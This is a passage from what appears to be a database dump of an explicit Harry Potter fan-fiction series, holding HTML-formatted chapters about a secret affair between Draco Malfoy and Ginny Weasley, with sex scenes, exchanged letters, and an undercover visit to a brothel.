Maids</i></p>\n<p>&nbsp;</p>\n<p>&#8220;Just use mine,&#8221; Ginny says, reaching for her toiletry bag.</p>\n<p>Draco groans. &#8220;That&#8217;s disgusting, I&#8217;m not doing that.&#8221;</p>\n<p>Ginny chuckles at him,&nbsp;&nbsp; &#8220;May I remind you of where your mouth has been already \n  my dear?&#8221;</p>\n<p>He grumbles again, pulling on his pants.&nbsp; She thinks to herself how graceful \n  he is, even doing the simplest of things.</p>\n<p>&#8220;I must have left the damn thing at the last Hotel,&#8221; he mutters.</p>\n<p>She begins brushing her hair back.&nbsp; He likes the way it falls across her shoulders.</p>\n<p>&#8220;Your serious?&nbsp; You&#8217;re really going out to buy one right now?&#8221; she says, still \n  laughing.</p>\n<p>&#8220;Yes, I am,&#8221; Draco replies, buttoning his shirt.</p>\n<p>He has done a lot of things in his time, but no way is he going to use someone \n  else&#8217;s toothbrush.&nbsp; </p>\n<p>&nbsp;</p>\n \n   \n     \n       \n        <p><i>Enchanting Spell Books From Bulgaria!</i></p>\n         \n           \n             \n               \n                 \n                   \n                     \n                      \n                        <p><b>Please \n                          Don&#8217;t Hex the Conductor</b></p>\n                      \n                    \n                  \n                \n              \n            \n          \n        \n      \n    \n  \n\n<p>The plush car on the train is small, but cozy.&nbsp; Ginny looks out of the side \n  window.&nbsp; She can&#8217;t distinguish the ground from the blackened sky anymore.&nbsp; She \n  is on Draco&#8217;s lap, straddling him, her chin resting on his shoulder.&nbsp; His cock \n  has been inside of her since their last stop.&nbsp; </p>\n<p>She rocks from side to side as he pushes up from underneath.&nbsp; They don&#8217;t have \n  to move much, as the hum of the engine vibrates the bed beneath them.&nbsp; </p>\n<p>&#8220;Can we stay this way forever?&#8221; she moans.</p>\n<p>He sucks on her throat, leaving a mark there. &#8220;We can try.&#8221;</p>\n<p>&nbsp;</p>\n<p><b>Explosive \n  Potions For Sale After The Show!</b></p>\n<p align="center"><i>All Patrons Must Be Stamped Upon Entering The Arena.</i></p>\n<p align="center">&nbsp;</p>\n<p>Draco pays the man at the entrance and freezes when Millicent Bulstrode spots \n  them waiting in line.&nbsp; She gawks for a moment, and strolls toward them.</p>\n<p>&#8220;What are you doing here?&#8221; she asks, eyeing Ginny.</p>\n<p>Draco doesn&#8217;t let go of Ginny&#8217;s hand, and she grips his tighter.</p>\n<p>&#8220;Came to see the dancing Hippogriffs, same as you,&#8221; he answers calmly, but \n  Ginny can tell that seeing Millicent there rattles him.&nbsp; </p>\n<p>&#8220;When did this happen?&#8221; Millicent says looking at Ginny again, somewhat amused.</p>\n<p>Ginny looks at her feet, biting her tongue.&nbsp; Draco doesn&#8217;t acknowledge her \n  question.</p>\n<p>Millicent smirks at him smugly, and waddles off to join her oversized goon \n  of a boyfriend, a recent Durmstrang graduate.&nbsp; </p>\n<p>&#8220;Draco, I&#8217;m sorry.&nbsp; I wish I had noticed her before &#8211; &#8221;</p>\n<p>Draco puts his arm around Ginny possessively.&nbsp; </p>\n<p>&#8220;It doesn&#8217;t matter anyway does it?&nbsp; Who&#8217;d believe her?&#8221; he says.</p>\n<p>But there is worry in his voice.&nbsp; </p>\n<p>&nbsp;</p>\n \n   \n     \n       \n         \n           \n             \n               \n                 \n                   \n                     \n                      <p><b>Caramel \n                        Bunnies for Sale! </b><i>(Please Read Label For \n                        Warning Before Handling Them)</i></p>\n                    \n                  \n                \n              \n            \n          \n          <p>Learn To Drive A Muggle \n            Car in One Day</p>\n          <p>&nbsp;</p>\n        \n      \n    \n  \n\n<p>Ginny&#8217;s chest hurts from laughing so hard.&nbsp; She can&#8217;t believe they were able \n  to enjoy themselves.&nbsp; Millicent was too busy snogging her boyfriend to pay much \n  attention to either one of them.&nbsp; </p>\n<p>She sits down on the couch.&nbsp; Their room is decorated in red and white, like \n  they are living inside of a candy cane.&nbsp; Draco makes a rude comment about poor \n  taste and lays his head in her lap.&nbsp; </p>\n<p>&#8220;Are we going for something to eat?&#8221; she asks.</p>\n<p>&#8220;I ordered room service.&#8221;</p>\n<p>She thinks about complaining, but he has plenty of money.&nbsp; And she has other \n  things on her mind.</p>\n<p>She parts her legs a little, and he raises his head up, trying to read her \n  expression.</p>\n<p>&#8220;Need more attention already?&#8221; he asks, opening her robe so he can take her \n  nipple in his mouth.&nbsp; It sounds like a child sucking candy.&nbsp; Cool air is coming \n  in through the vents along the window, and it sends shivers up and down her \n  body whenever Draco moves his mouth away.&nbsp; </p>\n<p>&nbsp;</p>\n<p><b>Elderflower Wine</b></p>\n\n  <p><b><i>Treacle Fudge</i></b></p>\n  <p><b>Luncheon \n    Special Available Until 3:00 pm</b></p>\n  <p>&nbsp;</p>\n\n<p>They decide to grab lunch before Ginny has to apparate to Susan&#8217;s house for \n  the night.&nbsp; She owls her mother to say she&#8217;ll be home the next day, and Draco \n  owls Narcissa.&nbsp; </p>\n<p>She buys a postcard of the Dancing Hippogriff they saw together, and tucks \n  it away in her purse.&nbsp; </p>\n<p>&#8220;I&#8217;ll send an owl on Weds.&nbsp; I&#8217;ll ask Susan to do it for me.&#8221;&nbsp; </p>\n<p>He nods, and sips his red currant juice.</p>\n<p>&#8220;All right.&#8221;</p>\n<p>They talk about his plans for the rest of the summer, and her goal to ace potions \n  her final year.&nbsp; Then the conversation tapers off, their minds already reminiscing \n  about sea slugs and red and white pillows.</p>\n<p>Before she finally leaves him, she catches her reflection in the restaurant \n  window.&nbsp; It&#8217;s funny how she still looks the same.</p>\n<p style="text-align:center" align="center">~~~~~~~~</p>\n<p>&nbsp;</p>\n\n\n'),
	(139, 8, ' <p><b><u>The G.W. Suite </u></b><u><b>&nbsp;by Ms. Scribe</b>\n\n</u></p>\n\n<p><b>AN: </b>An enormous thank you to my beta, <b>Sarea Okelani</b> who is also a fantastic writer, and to <b>Lissanne</b> and <b>Babygrrl</b> for the encouragement. But this chapter is for <b>714 </b>and <b>Buttaboobs</b>, because I adore them.</p>\n\n<p>&nbsp;</p>\n\n<p>~~~~~~~~~~~~~~ </p>\n\n<p>One week after our little excursion, I sent Ginny a single red rose with a note attached, warning her not to visit me at the Manor until my parents\' houseguests had left.&nbsp; </p>\n\n<p>She replied two days later with a long letter. &nbsp;</p>\n\n<p>Ginny told me that the reality of our circumstance had appeared to her all too clearly after she had returned to the Burrow.&nbsp; She didn&#8217;t want to hurt her family, she felt she could no longer deceive her friends, and she feared that if we continued to conduct a secret relationship, it would eventually become sordid and cheap.&nbsp; She suggested that we stay apart for at least a month, to sort out our feelings.&nbsp; </p>\n\n<p>I felt gutted, and answered the best I could.&nbsp; </p>\n\n<p><i>Ginny,</i></p>\n\n<p><i>I&#8217;ve been sitting at my desk for three hours, re-reading your letter.&nbsp; I wonder what it is that you&#8217;re doing now.&nbsp; I wonder if you&#8217;re wearing the dress I bought for you while we were away, the one that shows off the shape of your legs.&nbsp; I miss the sound of your voice.</i></p>\n\n<p><i>You know that I am not a respectable person.&nbsp; You knew that the first night we spent together.&nbsp; I can&#8217;t stop thinking about you with your damned pride and good intentions. I am suffering in silence.&nbsp;&nbsp; Is the pain of deceiving your family stronger than the joy of us being together? &nbsp;I think of you too much.&nbsp; In the nights, on the weekends.&nbsp;&nbsp; I think about your passion for independence, yet insufferable loyalty to your family., If this is truly over, see me one last time.&nbsp; </i></p>\n\n<p><i>D-</i></p>\n\n<p>When Ginny didn&#8217;t reply, I sent two roses.&nbsp; Another week went by, and I sent three.&nbsp; The hours and days were heavy and dark, and seemed to last forever.&nbsp; I became distant, resigned.&nbsp; My mother begged me to leave the Manor for fresh air, to watch a Quidditch match, to do anything but sit around and sulk.&nbsp; My father was pleased with my darker demeanor.&nbsp; He saw my lack of interest in almost everything, my fog-like depression, as a sign of maturity.&nbsp; </p>\n\n<p><i>Ginny,</i></p>\n\n<p><i>I cannot let you fade away.&nbsp; The beauty of what we possessed, before your sense of guilt and craving for acceptance convinced you leave what we had behind, haunts me. Despite what you might think, I am not evil, Ginny.&nbsp; </i></p>\n\n<p><i>I let my mind drift back to the beach today.&nbsp; Your face was so full of innocence when I took you there, surrounded by nothing but sand, flesh, and gentle waves.&nbsp; </i></p>\n\n<p><i>Your silence is killing me.&nbsp; Damn you.</i></p>\n\n<p><i>D-</i></p>\n\n<p>What else could I possibly say?&nbsp; I couldn&#8217;t promise her marriage, and I more than understood her loyalty to her family.&nbsp; I was, after all, in no great hurry to disobey my own.&nbsp; A part of me wanted to take my courage in both hands and knock on the door to the Burrow, stand in front of her thickheaded brothers, and declare that I needed to be with her.&nbsp; </p>\n\n<p>That I loved her.</p>\n\n<p>I knew it even then.&nbsp; I sent another owl.&nbsp; </p>\n\n<p><i>Ginny,</i></p>\n\n<p><i>I am now the rejected lover, wallowing in self-pity.&nbsp; How trite. </i></p>\n\n<p><i>D-</i></p>\n\n<p>When she failed to respond, my emotions ranged from angry, to remorseful, to desperate.&nbsp; I&#8217;d visualize her mouth on me as I lay in bed at night, stroking myself, managing to come.&nbsp; I imagined her soft breath against my thighs as my seed dripped down onto my fist, wondering why the thought of losing her hurt so badly.&nbsp; When did our fall into lust spiral into love?&nbsp; I couldn&#8217;t silence the insidious voice whispering in my head that somehow, someway, we should be together.</p>\n\n<p>Four weeks, two days, and seven hours after I sent the first rose, she owled.</p>\n\n<p><i>Draco,</i></p>\n\n<p><i>I keep thinking of you in spite of myself. There is a party at the bar across from the Leaky Cauldron on Friday.&nbsp; Please meet me there.&nbsp; </i></p>\n\n<p><i>G-</i></p>\n\n<p>I replied that I would arrive by eight o&#8217;clock.&nbsp;&nbsp; </p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>Seeing her walk into the crowded room was both wonderful and terrible.&nbsp; The fear was there, lurking, reminding me that it could very well be the last time we were together, and I wanted it to last forever, even if it would cost me everything in the end.&nbsp; I would live now and pay later.&nbsp; Seize the fucking day.</p>\n\n<p>&#8220;Draco,&#8221; she said, bold enough to look directly into my eyes.&nbsp; She was nervous, and her hands were shaking. &#8220;Dance with me?&#8221;</p>\n\n<p>I said nothing as we walked towards the dance floor.&nbsp; I took a quick look around.&nbsp; There were a few people I recognized, but no one close enough to either of us to be of real concern.&nbsp; Ginny looked breathtaking, and the stoic mask I wore was fading quickly, the edges of my anger falling away. </p>\n\n<p>Instinctively she wrapped her arms around my neck, her chest pressed against mine, as she searched my eyes.</p>\n\n<p>&#8220;We have things to talk about,&#8221; I said coolly.</p>\n\n<p>&#8220;I know. I&#8217;m sorry, Draco.&#8221;</p>\n\n<p>I looked away from her, anger taking over again.&nbsp; I was disgusted with myself for allowing her to control my emotions this way.&nbsp; </p>\n\n<p>&#8220;We&#8217;ve been seeing each other for almost a year, Ginny.&nbsp; Why do we keep playing these tiresome games?&#8221;</p>\n\n<p>I struggled against her sensual warmth, which was torturous to my pride, but arousing to my body.&nbsp; The sway of her hips to the steady rhythm of the music sent palpitations through my groin.&nbsp; I felt a deep longing to taste her, smell her.&nbsp; </p>\n\n<p>&#8220;Please forgive me.&nbsp; I just needed time to think.&nbsp; Something happened at the Burrow the night I returned home.&#8221;</p>\n\n<p>I pulled back slightly and stared at her, contemplating the tears that were welling up in her eyes.&nbsp; The lights in the room began to spin, and the people danced faster, but we moved to the same subtle beat as before.</p>\n\n<p>&#8220;Harry knows.&nbsp; He confronted me, and I told him it was over.&#8221;</p>\n\n<p>Another witch brushed by, throwing me a suggestive glance.&nbsp; I used to enjoy consummating my considerable lust with strangers whose anonymity remained intact.&nbsp; Ginny had changed all of that.</p>\n\n<p>&#8220;Is it?&#8221; I managed.&nbsp; I felt a strong twinge of panic, and hoped fervently that her answer would be no.&nbsp; </p>\n\n<p>&#8220;I don&#8217;t know,&#8221; she replied. &#8220;I don&#8217;t want it to be.&#8221;</p>\n\n<p>I reached down and gently arranged her hair over her shoulders.&nbsp; &#8220;You look so beautiful in red,&#8221; I whispered to her.&nbsp; &#8220;Don&#8217;t worry about Potter.&#8221;</p>\n\n<p>Ginny sighed.&nbsp; &#8220;How can I not?&#8221;</p>\n\n<p>I put my fingers to her bottom lip, tracing the curve of her mouth.</p>\n\n<p>&#8220;Don&#8217;t worry.&#8221;</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>With Ginny a few steps behind me, we made our way across the street to the Leaky Cauldron.&nbsp; I paid the front desk clerk, and he handed me the key to our room.&nbsp; Ginny followed me like a child.&nbsp; When I turned to see if she was still there, her eyes were wide and apologetic.</p>\n\n<p>I unlocked the door, and reached to flick on the lights.</p>\n\n<p>&#8220;No, don&#8217;t.&nbsp; Leave them off,&#8221; she said, stepping inside and closing the door behind her.</p>\n\n<p>She came closer. I wanted to tear at her body, push myself inside of her.</p>\n\n<p>&#8220;Don&#8217;t you want to touch me, Draco?&#8221; she asked, coming closer.</p>\n\n<p>I resisted her.&nbsp; I needed her to understand what she had put me through.&nbsp; &#8220;I can\'t.&nbsp; Every minute, I&#8217;ll doubt you.&nbsp; Every second, I&#8217;ll wait for you to change your mind again.&#8221;</p>\n\n<p>I stood with a pounding heart for what seemed like an eternity, awaiting either the sharpness of another rejection or her soft caress.&nbsp; Of course, the other emotion that kept bubbling up inside of me was my old nemesis &#8211; guilt.&nbsp; Guilt, because the sexual arousal I felt at the moment was far greater than either my fear of her leaving, or my righteous indignation over being denied her for so long.&nbsp; And this internal struggle contributed greatly to my state of excitation.&nbsp;&nbsp; </p>\n\n<p>&#8220;I&#8217;m so sorry.&#8221;&nbsp; She skipped a breath, her hands clinging to the front of my shirt.&nbsp; She rose up to press her lips against mine, and a warm stream of air from her lungs came into my mouth, tasting slightly sweet.&nbsp; When I didn&#8217;t kiss her in return, she pulled away from me, frustrated.&nbsp; </p>\n\n<p>&#8220;Harry has known for months. He decided to confront me after I got back to the Burrow, and I just wasn&#8217;t prepared,&#8221; she said calmly. &#8220;I panicked.&nbsp; I kept waiting for him to tell Ron.&#8221;</p>\n\n<p>&#8220;Why do you worry so much about your family?&nbsp; If they found out they&#8217;d probably try to keep you away from me, but they&#8217;d forgive you.&nbsp; If my father found out he&#8217;d either disown me or kill me. I&#8217;m the one risking everything here, Ginny.&#8221;</p>\n\n<p>My words stung her, and she flushed in anger, resisting the urge to lash out.</p>\n\n<p>&#8220;You&#8217;re right, you have more to lose,&#8221; she said finally.&nbsp; &#8220;But please try to understand how I felt.&#8221;</p>\n\n<p>&#8220;You should have told me,&#8221; I whispered, my resistance to her weakening.</p>\n\n<p>&#8220;I needed time to think, but all I could think about was you.&#8221; </p>\n\n<p>Immense relief coursed through me.&nbsp; </p>\n\n<p>&#8220;What exactly did Potter say?&#8221; I asked, realizing that boy wonder had caused me four weeks of misery.</p>\n\n<p>Ginny shifted, uncomfortable with the question.&nbsp; &#8220;He didn&#8217;t say much, actually.&nbsp; Just told me to be careful.&nbsp; He asked me if I had seen you recently, and I told him no.&nbsp; I&#8217;m certain her knew I was lying to him..&#8221;</p>\n\n<p>I laughed a little.&nbsp; &#8220;Of course he did; you&#8217;re a terrible liar.&#8221;</p>\n\n<p>She smiled, moving a stray lock of hair from her eyes.&nbsp; &#8220;I think I&#8217;ve managed to do all right.&nbsp; It kills me to have to keep lying to Mum.&#8221;</p>\n\n<p>There was an awkward tension then.&nbsp; &#8220;Are you going to change your mind again?&#8221;&nbsp; I said quietly, falling into a pit of newly found insecurity.</p>\n\n<p>Ginny shook her head no.&nbsp; Her cheeks were flushed, and she began to fiddle with the buttons on her dress.&nbsp; </p>\n\n<p>&#8220;When do you have to be back to the Burrow?&#8221; I said, giving in.</p>\n\n<p>She secured the latch on the door.</p>\n\n<p>&#8220;Not until tomorrow afternoon.&nbsp; Mum and Dad won&#8217;t be back from their trip until then, and my brothers think I&#8217;m at Susan&#8217;s.&#8221;</p>\n\n<p>The rain beat down on the skylight above the bed.&nbsp; Unable to resist any more, I took her in my arms, embracing her. She held me in return. I held her tight as she turned her head to one side, closing her eyes and exhaling.</p>\n\n<p>&#8220;Do you think we&#8217;ll ever be able to come clean?&#8221;</p>\n\n<p>I moaned, trailing kisses down her neck.&nbsp; I had missed the feel of her against me.&nbsp; </p>\n\n<p>&#8220;I suppose it depends on what you mean by \'clean.\'&#8221;&nbsp; My voice was muffled against her skin.&nbsp;&nbsp; Ginny stared blankly at the wall as I slowly worked more of the buttons on her dress.</p>\n\n<p>&#8220;My family is important to me, Draco.&#8221;</p>\n\n<p>I stopped kissing her, and my arms fell limp at my sides.</p>\n\n<p>&#8220;I will make an agreement with Potter.&#8221;&nbsp; </p>\n\n<p>&#8220;What sort of agreement?&#8221;</p>\n\n<p>I reached up, touched her face, then flicked open the last button on her dress. &#8220;I&#8217;ll take care of it.&#8221;</p>\n\n<p>Ginny nodded as I pulled her dress down, letting it fall off of her shoulders.&nbsp; We kissed, and kissed again.&nbsp; Never once letting my mouth leave hers, I picked her up in my arms and carried her to the bed.&nbsp;&nbsp; I laid her down onto the comforter, pulling her panties off and spreading her thighs.&nbsp; I bent over her, kissing her belly, continuing down to her red, wet curls.&nbsp; </p>\n\n<p>Her breath was shallow, waiting for it to happen.&nbsp; For a moment, I didn&#8217;t touch her.&nbsp; I waited until she had all but stopped breathing before dragging my tongue over her in one long smooth stroke, darting inside of her, stopping to circle her clit.&nbsp; I held her stiffened legs apart as I licked back and forth over the swollen kernel of flesh, rubbing it ever so slightly harder in time to her increasing pelvic movements until her body tensed, and she cried out in a high-pitched moan as her orgasm rippled through her, rising and falling.</p>\n\n<p>I fell back onto the bed, unzipping my trousers as she straddled me, easing down onto my prick.&nbsp; I unhooked her bra and suckled her nipples, clinging to her hips as she worked up and down, and side to side.&nbsp; </p>\n\n<p>&#8220;Draco...Oh God&#8230;&#8221; she cried out, her voice breaking apart.</p>\n\n<p>&#8220;Come for me again,&#8221; I said, tilting my pelvis up, embedding my cock fully inside of her. The rush of pleasure locked my muscles as my flesh slid into hers.&nbsp; Her nails dug into my shoulders, and her knees buckled.&nbsp; I wrapped my arms around her waist and began to make small movements in and out of her.&nbsp; Through the haze that was threatening to eclipse my consciousness, I heard Ginny make a small mewing noise in her throat as her second orgasm hit. She tensed against it, tears rolling down her cheeks, her lips quivering.&nbsp; The tension was building within me as well; listening to her gasps and groans with growing ecstasy.&nbsp; I felt the familiar tightness in my spine as our motions combined, increased, and I succumbed to the incredible bliss shooting directly up the center of my body, a white-hot current burning into my brain.&nbsp; My body went rigid and I cried out, twitching and pumping inside of her.</p>\n\n<p>She fisted her hands in my hair, clenched her teeth, and shuddered.</p>\n\n<p>~~~~~~~~~~~~~~</p>\n\n<p>I sent Potter an owl, and he agreed to meet me in Muggle London.&nbsp; I was numb, part of me disbelieving what I was about to do.&nbsp;&nbsp; When I arrived at the restaurant, he was already seated at one of the back tables. </p>\n\n<p>&#8220;I have access to valuable information,&#8221; I said to him, not bothering to pretend it was a casual lunch between friends.</p>\n\n<p>He nodded, sensing I was anxious to continue.&nbsp; &#8220;And what is it that you want from me?&#8221;</p>\n\n<p>I looked away, not wanting him to see my newfound vulnerability.&nbsp; &#8220;I want you to keep our secret.&#8221;</p>\n\n<p>There was a long silence.&nbsp; The waitress approached us and I ordered a drink.</p>\n\n<p>&#8220;You don&#8217;t have to bargain for my silence, Draco,&#8221; he said finally.&nbsp; His words were tense.<br>\n\n\n<br>\n\n\n</p>\n\n<p>I glared at him.&nbsp; &#8220;Forgive me for not having complete faith in that.&#8221;</p>\n\n<p>Potter took a drink of his beer, obviously put off.&nbsp; </p>\n\n<p>&#8220;I&#8217;ll give you information, and in return you promise your silence&#8230; and that my father will be spared in future Ministry raids.&#8221;</p>\n\n<p>I&#8217;m not sure why I asked for my father&#8217;s immunity.&nbsp; I suppose it was because the heartbreak it would cause my mother if he were ever foolish enough to be caught in his misdeeds.&nbsp; </p>\n\n<p>Potter shook his head from side to side, laughing.</p>\n\n<p>&#8220;Your father is the main reason we have these raids, Malfoy.&#8221; </p>\n\n<p>He put on a poker face that I found highly amusing.&nbsp; </p>\n\n<p>&#8220;If my father is constantly under scrutiny, how can I provide the Ministry with detailed information regarding all of his associates &#8216;dark&#8217; activities?&#8221;&nbsp; </p>\n\n<p>At least Potter understood that logic, but he took his time, sitting and arrogantly drinking his beer.</p>\n\n<p>I took my drink down in three swallows.</p>\n\n<p>&#8220;My time is valuable,&#8221; I said, slamming the empty glass on the table and standing to leave.</p>\n\n<p>Potter stood, looked at me directly in the eyes, and extended his hand.&nbsp; I took it.&nbsp; </p>\n\n<p><i>~~~~~~~</i></p>\n\n<p>My father&#8217;s guests remained at the Manor for most of the summer, so Ginny and I met on Fridays at the Leaky Cauldron.&nbsp; Our suite had a wine rack.&nbsp; Sometimes before we made love, we drank a glass, kissing and experimenting.&nbsp; It reminded us of the first time we were ever together.&nbsp; I bought four bottles of her favorite, a robust merlot.</p>\n\n<p>I looked down at the wisps of her red hair against the spotted peach flesh where her nightgown had been raised aside.&nbsp; Even in the soft light, my hard definition was a vibrant contrast to her pliable softness.</p>\n\n<p>&#8220;Tell me what I mean to you, tell me&#8230;&#8221; she said, her voice muffled in the growing confusion of sex, of my mouth now devouring her.</p>\n\n<p>&#8220;Nothing is as wonderful as you are &#8211; nothing,&#8221; I whispered, rolling her onto her stomach. I left her nightgown on, loving the way the clinging fabric seemed almost translucent over the round of her bottom. </p>\n\n<p>Pulling her to her knees, I massaged her clitoris, gliding over it with my fingertips.&nbsp; I felt such urgency, stroking her.&nbsp;&nbsp; Unwilling to wait anymore, I purposely entered her in slow increments, holding back, before finally thrusting into her fully.&nbsp; Ginny&#8217;s breath was knocked from her in a sharp cry. Making love to her this way, watching her hair swing across her back as she took me inside of her made it difficult for me to last long enough to see her come.&nbsp; My body had taken over, all rational thought erased.&nbsp; My heart was about to tear itself free from my chest as she gasped and shivered beneath me.&nbsp; I moved my hand through Ginny&#8217;s hair and she turned her head to meet my eyes.&nbsp; As we found our cadence, her knuckles whitened and her breath grew raspy.&nbsp; Then she began to change the tempo, coming back to meet my thrusts with such determined force that I had to push against her to keep from falling off of the bed.&nbsp; She responded with an erotic moan, bracing herself against the headboard. I thought for a moment that I would explode right there, but I managed to hold on until she contracted around me, crying out my name, and I convulsed, my belly slipping on her sweaty back.</p>\n\n<p>&#8220;Are you tired yet?&#8221; I asked after I had peaked, collapsing onto the bed.&nbsp; Ginny was flushed; her skin was pink from her forehead to her belly.&nbsp; She looked slightly windburned, but she was radiant.&nbsp; </p>\n\n<p>She curled up next to me, kissed me, and closed her eyes.&nbsp; &#8220;Yes, very.&#8221;</p>\n\n<p>I kissed every drop of sweat from her throat, wanting the taste of her to last until we were able to meet again.&nbsp; </p>\n\n<p><i>~~~~~~~</i></p>\n\n<p>I was rushing to do an errand with my mother in Hogsmeade when I suddenly spotted Ginny on the sidewalk behind us.&nbsp; My heart almost stopped when Ginny dared to draw nearer.&nbsp; She followed us into the dress shop, and I focused my attention on my mother, who was instantly drawn to a purple gown that hung on a mannequin near the front.</p>\n\n<p>My mother&#8217;s voice was so soft and sweet, so cultivated and genteel as she spoke to the shopkeeper.&nbsp; Ginny seemed to be captivated by her.&nbsp; When my mother turned her head away, I questioned Ginny with a glance.&nbsp; What was she doing?&nbsp; Ginny avoided my glare, pretending to examine a garment I knew she wasn&#8217;t interested in.&nbsp; </p>\n\n<p>The shopkeeper asked if he could help Ginny, and she quietly replied that she was only looking.&nbsp; He quickly focused his attention back onto my mother.</p>\n\n<p>Part of me was furious with Ginny for following us.&nbsp; The other part understood her curiosity.&nbsp; I couldn&#8217;t help noticing the contrast between the two women, although my mother would probably like Ginny, if she ever got to know her.&nbsp; </p>\n\n<p>My mother thanked the shopkeeper, handing me her purchase to carry.&nbsp; As we turned to leave, she brushed by Ginny, barely noticing the wide-eyed girl standing there.&nbsp; </p> '),
	(139, 9, ' <p><b>The Dress</b></p>\n\n<p>By <st1:personname>Ms. Scribe</st1:personname></p>\n\n<p><b>Authors Notes:</b>This one is for <st1:personname><b>Clio</b></st1:personname>.Thanks to <b>Sarea_Okelani</b> for the Beta. &lt;3.</p>\n\n<p>***</p>\n\n<p>&#8220;Wear it like this,&#8221; she whispers, as she sets down the brush, clutches a handful of my hair, and piles it on top of my head. A few feet away are the eyes of Pigwidgeon. Pig flutters around angrily, backs away, and flies out of the room.</p>\n\n<p>&#8220;We&#8217;re close, aren&#8217;t we, Ginny?&#8221;</p>\n\n<p>Her eyes are pleading, sincere. &#8220;Of course we are, Mum.&#8221;</p>\n\n<p>She pulls me into her chest. I miss being wrapped in her arms..</p>\n\n<p>&#8220;You never talk to me anymore. I know you enjoy going out with Susan, but you and I really need to schedule some time together. You haven&#8217;t left me just yet!&#8221; she jokes.</p>\n\n<p>&#8220;I&#8217;ve just been busy,&#8221; I tell her, and adjust the hem on my dress. It is almost the same color red as the one Narcissa Malfoy had on the day I followed her and Draco into the shop.The day we locked eyes for one single second. The day she looked right through me.</p>\n\n<p>The dress is restrained, refined.</p>\n\n<p>&#8220;Your dress is lovely, but I hope it was worth it. You&#8217;ll need to be careful and take care of it.&#8221;</p>\n\n<p>The dress was purchased with money I&#8217;d been saving for almost a year. A dress like this, Mrs. Malfoy might have purchased and forgotten to wear.</p>\n\n<p>&#8220;I will.&#8221;</p>\n\n<p>***</p>\n\n<p>I&#8217;m not prepared for where I am going. Most of the streetlamps are broken. The roads are paved with stained brick, cracked cement, and garbage. Old newspapers, broken glass, and things far less palatable clog up the storm drains. It doesn&#8217;t seem the sort of place Draco would want to visit for a second, let alone spend the night.</p>\n\n<p>Then I see him. I momentarily lose my balance, and lean against one of the lampposts. The expression on his face is indifferent.</p>\n\n<p>&#8220;You&#8217;re late,&#8221; he says.</p>\n\n<p>&#8220;Only fifteen minutes. I honestly thought I was in the wrong place.&#8221;</p>\n\n<p>&#8220;You look like it.&#8221;</p>\n\n<p>I smirk at him. &#8220;I got all dressed up for you.I even put on a bit of perfume.&#8221;</p>\n\n<p>He doesn&#8217;t answer, but there is a hint of a smile before he nods towards a nightclub on the corner flashing with blue light. He doesn&#8217;t take my hand. There are people around, and I can&#8217;t help but stare. I silently wonder why it is that whores often times choose to only wear lipstick. It makes their red lips leap out from the rest of their bland faces. They look like carnivorous caricatures that have suddenly sprung to life.</p>\n\n<p>By the time we reach the door, I have given up on my futile attempt to figure out which ones are girls and which ones are boys. Somehow, I know it doesn&#8217;t really matter all that much.</p>\n\n<p>&#8220;When we get inside, stay close to me.&#8221;</p>\n\n<p>&#8220;You still haven&#8217;t told me what we&#8217;re doing here.&#8221;</p>\n\n<p>&#8220;We&#8217;re doing something to help Potter. That should make you happy.&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Just do what I say.&#8221;</p>\n\n<p>&#8220;I think not.&#8221;</p>\n\n<p>He groans. &#8220;Please,&#8221; he says finally, before opening the door.</p>\n\n<p>The room is filled with wizards, most accompanied by hookers lounging across their laps or leaning against their arms possessively. Some are the same animated beasts I saw outside earlier. They are glaring at me.</p>\n\n<p>&#8220;Bringing your own whore offends their sense of morality,&#8221; Draco whispers, a hint of amusement in his voice.</p>\n\n<p>The phrases &#8220;stuck up&#8221; and &#8220;oohh- la-la look at the princess&#8221; are tossed out at me, among many others.</p>\n\n<p>&#8220;Ignore them. They&#8217;re unimportant. The person we&#8217;re seeing tonight is all that matters. Your name is Rose,&#8221; Draco says casually.</p>\n\n<p>&#8220;Viola. If I have to pretend to be your whore, I&#8217;d at least like to choose my own name.&#8221;</p>\n\n<p>&#8220;Fine, Viola,&#8221; he says as a tick of a frown creases across his forehead.</p>\n\n<p>&#8220;Draco?&#8221; I ask. His frown deepens.</p>\n\n<p>&#8220;Someone&#8217;s coming over here.&#8221;</p>\n\n<p>An unusually tall Wizard crosses the room towards us, and I am somewhat taken aback by the suddenness of his approach.</p>\n\n<p>&#8220;Mr. Malfoy,&#8221;the man says, extending his hand.</p>\n\n<p>Draco takes it. &#8220;Mr. Daviz.&#8221;</p>\n\n<p>&#8220;I was expecting your father.&#8221;</p>\n\n<p>Draco snorts. &#8220;He&#8217;s got more important things to attend to.Surely you, of all people, understand that.&#8221;</p>\n\n<p>&#8220;I doubt that, Mr. Malfoy, but since you&#8217;re here, you and your lovely guest can relay this message to him.&#8221;</p>\n\n<p>Locust Daviz smiles, and then glances over at me. &#8220;And you are, my dear?&#8221;</p>\n\n<p>&#8220;Viola,&#8221; I say softly. He reaches out to touch my hair. I flinch when Mr. Daviz lets his hand fall to my shoulder. I tilt my neck, nervously, but mesmerized as he leans into my ear and whispers something I know Draco cannot hear.</p>\n\n<p>&#8220;You are enchanting. You deserve more than this young man.&#8221;</p>\n\n<p>I stare at Draco, at the lines of his jaw as he strains to listen to what Mr. Daviz is saying. He leans in further, his lips hovering dangerously near the nape of my neck.</p>\n\n<p>&#8220;Follow me then,&#8221; he says. I swallow and force a smile.</p>\n\n<p>Draco doesn&#8217;t blink. &#8220;She&#8217;s a good deal more costly than what you&#8217;ll find here, so in the future kindly request permission before making small talk with my escort, &#8221; he says loud enough to illicit a few indignant eye rolls from two whores standing nearby.</p>\n\n<p>Mr. Daviz gives Draco a cursory glance.</p>\n\n<p>&#8220;You&#8217;re in for quite a performance tonight.&#8221;</p>\n\n<p>&#8220;It had better be short.I&#8217;ve no time for lengthy shows.&#8221;</p>\n\n<p>&#8220;This one is worth the time, young Mr. Malfoy.&#8221;</p>\n\n<p>Draco moves in closer to me. Mr. Daviz directs us towards a tiny door in the back. He nods at a very large man standing near the doorway and we are let inside.We crouch down and begin to walk towards a light. Something sticks on the bottom of my shoe and I stumble.</p>\n\n<p>Damn high heels. One of my knees lands on something sticky and wet. There is a painful rock on the other. Draco grabs my arm and tugs me back onto my feet.</p>\n\n<p>&#8220;Careful.I didn&#8217;t pay for damaged goods.&#8221; </p>\n\n<p>Mr. Daviz chuckles.</p>\n\n<p>&#8220;I&#8217;m fine,&#8221; I whisper, feeling as if Draco is a world 